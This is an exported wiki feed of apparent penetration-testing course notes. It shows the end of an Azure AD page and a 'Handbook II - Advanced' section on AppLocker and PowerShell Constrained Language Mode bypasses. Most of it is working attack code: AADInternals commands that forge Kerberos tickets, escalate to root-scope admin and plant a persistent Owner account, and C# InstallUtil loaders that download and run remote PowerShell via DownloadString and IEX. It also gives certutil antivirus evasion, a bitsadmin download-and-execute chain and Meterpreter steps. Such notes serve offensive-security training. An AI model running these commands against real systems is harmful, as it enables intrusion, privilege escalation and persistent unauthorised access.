&lt;br /&gt;
Decode at &#039;&#039;&#039;jwt.ms&#039;&#039;&#039; for a clean readable view.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Claim !! Meaning&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;scp&amp;lt;/code&amp;gt; || Delegated scopes e.g. Directory.Read.All&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;roles&amp;lt;/code&amp;gt; || Application role assignments&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;wids&amp;lt;/code&amp;gt; || Directory role GUIDs (Global Admin etc.)&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;aud&amp;lt;/code&amp;gt; || Which API this token is valid for&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;upn&amp;lt;/code&amp;gt; || Which user this token belongs to&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Step 8 — Escalate to Global Admin ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Impersonate ADSync account (high value — has directory sync rights by design)&lt;br /&gt;
$kerberos = New-AADIntKerberosTicket -SidString &amp;quot;&amp;lt;ADSync_SID&amp;gt;&amp;quot; -Hash &amp;quot;&amp;lt;NTLM_Hash&amp;gt;&amp;quot;&lt;br /&gt;
Get-AADIntAccessTokenForAADGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForMSGraph -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
Get-AADIntAccessTokenForAzureCoreManagement -KerberosTicket $kerberos -Domain domain.com -SaveToCache&lt;br /&gt;
&lt;br /&gt;
# Elevate to User Access Administrator at root scope&lt;br /&gt;
Grant-AADIntAzureUserAccessAdminRole&lt;br /&gt;
&lt;br /&gt;
# Verify subscription access&lt;br /&gt;
Get-AADIntAzureSubscriptions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Step 9 — Create Persistent Cloud User ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Note the ObjectID in the output&lt;br /&gt;
New-AADIntUser -UserPrincipalName pwned.user@domain.com -DisplayName &amp;quot;pwned user&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Assign subscription ownership&lt;br /&gt;
$subScope = &amp;quot;subscriptions/&amp;lt;subscription_id&amp;gt;&amp;quot;&lt;br /&gt;
New-AzRoleAssignment -ObjectID &amp;lt;ObjectID&amp;gt; -RoleDefinitionName &amp;quot;Owner&amp;quot; -Scope $subScope&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2366</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2366"/>
		<updated>2026-05-26T07:06:16Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* Great websites */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|-&lt;br /&gt;
| Living of the Land Remote Monitoring and Management (LOLRMM)&lt;br /&gt;
| [https://lolrmm.io/ LOLRMM]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
== OSEP Notes Overview PT 1 by Joas ==&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf OSEP-Offensive-Security-Evasion-Professional-Notes-Overview][https://book.ghanim.no/wp-content/uploads/2023/09/OSEP-Offensive-Security-Evasion-Professional-Notes-Overview.pdf Download]&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! TITLE&lt;br /&gt;
! URL&lt;br /&gt;
! SHORT DESCRIPTION&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|-&lt;br /&gt;
| CALDERA&lt;br /&gt;
| [https://caldera.mitre.org/ Caldera (mitre.org)]&lt;br /&gt;
| Empower cyber practitioners by saving time, money, and energy through automated security assessments​.&lt;br /&gt;
|}&lt;br /&gt;
== Impersonation vs delegation ==&lt;br /&gt;
* &#039;&#039;&#039;Impersonation Tokens&#039;&#039;&#039;: These tokens can be used to impersonate another user on the same system. You don&#039;t necessarily need SYSTEM privileges to obtain and use these tokens.&lt;br /&gt;
* &#039;&#039;&#039;Delegation Tokens&#039;&#039;&#039;: These tokens allow for impersonation across the network, such as accessing resources on another machine. Typically, obtaining delegation tokens requires higher privileges, like those of the SYSTEM account.&lt;br /&gt;
== Managed vs Unmanaged code ==&lt;br /&gt;
&#039;&#039;&#039;Managed Code:&#039;&#039;&#039; Think of managed code like living in an apartment building. You have a building manager who takes care of things like cleaning the halls, fixing broken stuff, and making sure everything is safe. You don&#039;t have to worry too much about these things because the manager handles them for you. In the same way, managed code runs in a system that takes care of tasks like cleaning up memory and keeping things secure.&lt;br /&gt;
&#039;&#039;&#039;Unmanaged Code:&#039;&#039;&#039; Now, imagine you&#039;re living in your own house. You&#039;re in charge of everything – cleaning, fixing, and making sure it&#039;s safe. You have more control, but you also have more responsibilities. Unmanaged code is like that – it gives you more control over how things work, but you have to handle tasks like cleaning up after yourself (managing memory) and making sure everything is secure.&lt;br /&gt;
== AppLocker Basics ==&lt;br /&gt;
=== Enumerate AppLocker ===&lt;br /&gt;
Enumerating AppLocker policies can provide insights into which applications, scripts, and files are allowed or denied from executing on a Windows system. This can be valuable for penetration testers and security analysts to find potential bypasses or weaknesses.&lt;br /&gt;
Here&#039;s a guide on how to enumerate AppLocker:&lt;br /&gt;
* &#039;&#039;&#039;Using PowerShell&#039;&#039;&#039;:&lt;br /&gt;
* View current AppLocker policies:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective -xml&amp;lt;/code&amp;gt;&lt;br /&gt;
* Check for any configured rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Local | Select -ExpandProperty RuleCollections&amp;lt;/code&amp;gt;&lt;br /&gt;
* &#039;&#039;&#039;Using Windows Event Viewer&#039;&#039;&#039;:&lt;br /&gt;
* AppLocker logs its events under &#039;Applications and Services Logs &amp;gt; Microsoft &amp;gt; Windows &amp;gt; AppLocker&#039;.&lt;br /&gt;
* Look for these event IDs:&lt;br /&gt;
8002: A rule was ignored because its conditions were incomplete.&lt;br /&gt;
* 8003: No AppLocker rules were applied because no rules are in the policy.&lt;br /&gt;
* 8004: AppLocker started enforcing rules.&lt;br /&gt;
* 8005: AppLocker stopped enforcing rules.&lt;br /&gt;
* 8006: AppLocker policy was changed.&lt;br /&gt;
* 8007: AppLocker encountered an error with a rule and continued processing rules.&lt;br /&gt;
* 8008: AppLocker policy was deleted.&lt;br /&gt;
* &#039;&#039;&#039;Using the Local Security Policy MMC&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;secpol.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* In the Security Settings tree, go to &amp;lt;code&amp;gt;Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Using Group Policy Editor&#039;&#039;&#039;:&lt;br /&gt;
* Go to &amp;lt;code&amp;gt;Start &amp;gt; Run&amp;lt;/code&amp;gt; and type &amp;lt;code&amp;gt;gpedit.msc&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Navigate to &amp;lt;code&amp;gt;Computer Configuration &amp;gt; Windows Settings &amp;gt; Security Settings &amp;gt; Application Control Policies &amp;gt; AppLocker&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &#039;&#039;&#039;Check for AppLocker&#039;s DLL Rules&#039;&#039;&#039;:&lt;br /&gt;
* Sometimes, administrators overlook DLL rules which can be used for bypasses.&lt;br /&gt;
* Use PowerShell to check DLL rules:&lt;br /&gt;
&amp;lt;code&amp;gt;powershell Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections | Where-Object { $_.RuleType -eq &#039;DllRule&#039; }&amp;lt;/code&amp;gt;&lt;br /&gt;
* Using PowerUp.ps;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PS C:\&amp;gt;. .\PowerUp.ps1&lt;br /&gt;
PS C:\&amp;gt;Invoke-AllChecks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Identify Writeable folders ===&lt;br /&gt;
Many of these directories are writeable by default if applocker is enabled. Check with accesschk.exe.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writeable folders&lt;br /&gt;
accesschk.exe &amp;quot;student&amp;quot; C:\Windows -wus&lt;br /&gt;
# Check Executable Permissions&lt;br /&gt;
icacls.exe C:\Windows\Tasks&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This folder is used by the Task Scheduler to store scheduled tasks.&lt;br /&gt;
C:\Windows\Tasks&lt;br /&gt;
# Temporary files are stored in this directory. This is a common writable directory for all users.&lt;br /&gt;
C:\Windows\Temp&lt;br /&gt;
# Used for network tracing logs.&lt;br /&gt;
C:\Windows\tracing&lt;br /&gt;
# Related to the Component-Based Servicing (CBS) log. CBS is used in Windows servicing (Windows Update).&lt;br /&gt;
C:\Windows\Registration\CRMLog&lt;br /&gt;
# Related to fax services.&lt;br /&gt;
C:\Windows\System32\FxsTmp&lt;br /&gt;
# Also related to the Task Scheduler, but not typically writable for standard users by default.&lt;br /&gt;
C:\Windows\System32\Tasks&lt;br /&gt;
# This is where AppLocker configuration and event log data are stored.&lt;br /&gt;
C:\Windows\System32\AppLocker&lt;br /&gt;
# COM+ dump folder.&lt;br /&gt;
C:\Windows\System32\Com\dmp&lt;br /&gt;
# Contains cryptographic keys used by the OS.&lt;br /&gt;
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys&lt;br /&gt;
# Print spooler folder, where print jobs are temporarily stored.&lt;br /&gt;
C:\Windows\System32\spool\PRINTERS&lt;br /&gt;
# Another print spooler related directory.&lt;br /&gt;
C:\Windows\System32\spool\SERVERS&lt;br /&gt;
# Contains color profiles for devices.&lt;br /&gt;
C:\Windows\System32\spool\drivers\color&lt;br /&gt;
# Specific task related to OneDrive updates.&lt;br /&gt;
C:\Windows\System32\Tasks\OneDrive Standalone Update Task-...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Alternate Data Stream ===&lt;br /&gt;
* Alternate Data Streams (ADS) is a feature of the NTFS file system which represents all files as a stream of data.&lt;br /&gt;
* NTFS supports multiple streams, allowing the storage of metadata in binary file attributes.&lt;br /&gt;
* ADS can be exploited to bypass security features like AppLocker by embedding malicious scripts in trusted files.&lt;br /&gt;
Combine this technique with DotNetToJscript to get a meterpreter shell.&lt;br /&gt;
&#039;&#039;&#039;1. Creating a Simple Jscript for Proof of Concept&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;cmd.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Save the above Jscript as  ​test.js​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Finding a Writable and Executable File&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A trusted location is required that has files both writable and executable.&lt;br /&gt;
&lt;br /&gt;
* Example: TeamViewer version 12 on the victim machine has a log file ( ​TeamViewer12_Logfile.log​ ) that meets the criteria.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Embedding the Jscript into an Alternate Data Stream (ADS)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​type​  command to copy the content into an ADS of the trusted file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Users\student&amp;gt;type test.js &amp;gt; &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Verifying the Jscript in the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​dir /r​  command to validate the Jscript presence in the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dir /r &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log&amp;quot;&lt;br /&gt;
 Volume in drive C has no label.&lt;br /&gt;
 Volume Serial Number is 2467-A865&lt;br /&gt;
&lt;br /&gt;
 Directory of C:\Program Files (x86)\TeamViewer&lt;br /&gt;
&lt;br /&gt;
09/25/2023  06:05 AM            62,790 TeamViewer12_Logfile.log&lt;br /&gt;
                                11,736 TeamViewer12_Logfile.log:demo.js:$DATA&lt;br /&gt;
               1 File(s)         62,790 bytes&lt;br /&gt;
               0 Dir(s)   8,034,390,016 bytes free&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The output should show the  ​TeamViewer12_Logfile.log:test.js:$DATA​  indicating successful writing to the alternate data stream.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Executing the Jscript from the Alternate Data Stream&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Double-clicking the icon for the log file ( ​TeamViewer12_Logfile.log​ ) opens it in Notepad as a standard log file.&lt;br /&gt;
&lt;br /&gt;
* To execute the embedded Jscript, run it from the command line using  ​wscript​  and specify the ADS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wscript &amp;quot;C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:test.js&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== AppLocker Bypass Using Powershell ==&lt;br /&gt;
&lt;br /&gt;
=== Constrained Language Mode ===&lt;br /&gt;
&lt;br /&gt;
Constrained Language Mode is a security feature in PowerShell. It limits what scripts and commands can do to prevent potentially harmful actions. Think of it as putting training wheels on PowerShell – you can still ride, but you&#039;re restricted in what you can do to avoid dangerous situations.&lt;br /&gt;
&lt;br /&gt;
==== Enumerate CLM ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Custom Runspace ====&lt;br /&gt;
In PowerShell, a runspace is essentially an environment where PowerShell commands are executed. Think of it as a container or an isolated space where all the necessary components for executing commands are present.&lt;br /&gt;
The code below will execute in Full Language mode.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
# Add a reference to  ​System.Configuration.Install​  in Visual Studio.&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using static System.Net.Mime.MediaTypeNames;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            String cmd = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== PowerShell CLM Bypass ====&lt;br /&gt;
Use only &amp;lt;code&amp;gt; ​uninstall&amp;lt;/code&amp;gt;​  as &amp;lt;code&amp;gt; ​install&amp;lt;/code&amp;gt;​  requires admin privileges.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# If you have problems with missing .Automation, install the package Microsoft.PowerShell.5.1.ReferenceAssemblies from nuget&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management.Automation;&lt;br /&gt;
using System.Management.Automation.Runspaces;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
namespace Bypass&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;This is the main method which is a decoy&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    [System.ComponentModel.RunInstaller(true)]&lt;br /&gt;
    public class Sample : System.Configuration.Install.Installer&lt;br /&gt;
    {&lt;br /&gt;
        public override void Uninstall(System.Collections.IDictionary savedState)&lt;br /&gt;
        {&lt;br /&gt;
            String cmd  = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.1.126/run.txt&#039;) | IEX&amp;quot;;&lt;br /&gt;
            Runspace rs = RunspaceFactory.CreateRunspace();&lt;br /&gt;
            rs.Open();&lt;br /&gt;
            PowerShell ps = PowerShell.Create();&lt;br /&gt;
            ps.Runspace = rs;&lt;br /&gt;
            ps.AddScript(cmd);&lt;br /&gt;
            ps.Invoke();&lt;br /&gt;
            rs.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
To execute the code above&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
===== Bypassing Antivirus =====&lt;br /&gt;
* Download and obfuscate the executable with Base64 encoding using  ​certutil​  on the development Windows machine&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
certutil -encode&lt;br /&gt;
 C:\Users\kali\source\repos\Bypass\Bypass\bin\x64\Release\Bypass.exe file.txt&lt;br /&gt;
Input Length = 5120&lt;br /&gt;
Output Length = 7098&lt;br /&gt;
CertUtil: -encode command completed successfully.&lt;br /&gt;
C:\Users\Offsec&amp;gt;type file.txt&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;
AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v&lt;br /&gt;
dCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYCAHFjntgAAAAA&lt;br /&gt;
AAAAAPAAIgALAjAAAAwAAAAGAAAAAAAAAAAAAAAgAAAAAABAAQAAAAAgAAAAAgAA&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IMPORTANT!! The file need to be hosted using Apache2, not Python HTTP server because python http server does not have the correct header.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Unable to complete transfer.&lt;br /&gt;
ERROR FILE:    http://192.168.45.198/file.txt -&amp;gt; C:\users\student\enc.txt&lt;br /&gt;
ERROR CODE:    0x80200013 - The server does not support the necessary HTTP protocol. Background Intelligent Transfer Se&lt;br /&gt;
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* Decode it on disk using  ​certutil -decode​ .&lt;br /&gt;
* Use  ​bitsadmin​  for the downloading.&lt;br /&gt;
* &#039;&#039;&#039;Combining Commands&#039;&#039;&#039;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt &amp;amp;&amp;amp; certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe &amp;amp;&amp;amp; del C:\users\student\enc.txt &amp;amp;&amp;amp; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\student\Bypass.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[File:2023-09-image-3.png|thumb]]&lt;br /&gt;
==== Bypass CLM using Meterpreter Powershell_execute ====&lt;br /&gt;
You can bypass CLM using meterpreters &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; load powershell&lt;br /&gt;
meterpreter &amp;gt; powershell_execute $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[+] Command execution completed:&lt;br /&gt;
FullLanguage&lt;br /&gt;
meterpreter &amp;gt; shell&lt;br /&gt;
Process 6960 created.&lt;br /&gt;
Channel 4 created.&lt;br /&gt;
Microsoft Windows [Version 10.0.18363.900]&lt;br /&gt;
(c) 2019 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt;powershell&lt;br /&gt;
powershell&lt;br /&gt;
Windows PowerShell&lt;br /&gt;
Copyright (C) Microsoft Corporation. All rights reserved.&lt;br /&gt;
Try the new cross-platform PowerShell https://aka.ms/pscore6&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
PS C:\Windows\system32&amp;gt; $ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
ConstrainedLanguage&lt;br /&gt;
PS C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Bypass-clm script form github ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/calebstewart/bypass-clm GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode Bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U &amp;quot;C:\Windows\Tasks\bypass-clm.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CLMroute - Github repo ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/aress31/clm-rout GitHub - aress31/clm-rout: A C# program featuring an all-in-one bypass for CLM, AppLocker and AMSI using Runspace.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /cmd=&amp;quot;whoami /priv&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /uninstall /logfile= /LogToConsole=false /url=&amp;quot;http://192.168.45.180/PowerUpSQL.ps1&amp;quot; /cmd=&amp;quot;Get-SQLInstanceLocal -Verbose&amp;quot; C:\windows\tasks\clmr.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reflective injection ====&lt;br /&gt;
The technique above will write files to disk. In order to avoid that we will use Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
This method will Bypass AppLocker and use Reflective DLL Injection with InstallUtil.&lt;br /&gt;
* &#039;&#039;&#039;Generate a 64-bit Meterpreter DLL&#039;&#039;&#039;: This will be our payload.&lt;br /&gt;
* &#039;&#039;&#039;Host Meterpreter DLL on Kali Apache server&#039;&#039;&#039;.&lt;br /&gt;
